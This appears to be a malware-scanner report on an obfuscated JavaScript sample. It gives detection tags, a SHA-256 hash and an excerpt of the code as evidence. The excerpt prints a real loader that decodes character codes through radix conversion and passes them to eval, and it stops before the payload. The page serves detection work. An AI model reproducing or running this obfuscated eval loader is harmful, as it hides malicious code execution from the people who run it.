Suspicious ^80% javascript-malware-collection Download

20151208_bd8207006208b21632d1f146a7de3c87.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256a36a3f28284446ce35cb598c2ec2d08d165b74c5389191e59ecae73e524a34ca

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var RYcuteHlZnqne=[];for(HQPIqNF=(-536+536)/748;HQPIqNF<(39971+477)/316;HQPIqNF++){RYcuteHlZnqne[HQPIqNF]=String.fromCharCode(HQPIqNF)}function aPZci(PQvaMafFilX,DrHsZYIJATFjT,iqQlRFsw){Ysij=parseInt(PQvaMafFilX,DrHsZYIJATFjT);jssVl=Ysij.toString(iqQlRFsw);return jssVl;}function ExDcCvxYvmUCgDX(lKOmwfHrWbevXgHqd){eval(lKOmwfHrWbevXgHqd)}
2function yyZQgpYDJwLGWkpvzhbZyuCHvmOzWdybsMWXBvxPgfKwCSPgdbtrae(kBxiThNIPvFdL,Pnjnkffaafdehh){ return RYcuteHlZnqne[aPZci(kBxiThNIPvFdL[Pnjnkffaafdehh],(9096+14)/911,(-438+758)/32)];}
3function FTZmLLb(HIVyEPMIVhpfEZXfWGxlBDQbiIDmTODPjUpI) {return !isNaN(parseFloat(HIVyEPMIVhpfEZXfWGxlBDQbiIDmTODPjUpI)) && isFinite(HIVyEPMIVhpfEZXfWGxlBDQbiIDmTODPjUpI);}
4function SGDhOcvjHGL(MMkfyQFf,tuZDQi){return MMkfyQFf.split(tuZDQi)}
5var P=[];P.push("13");P.push("10");P.push("13");P.push("10");P.push("118");P.push("97");P.push("114");P.push("32");P. …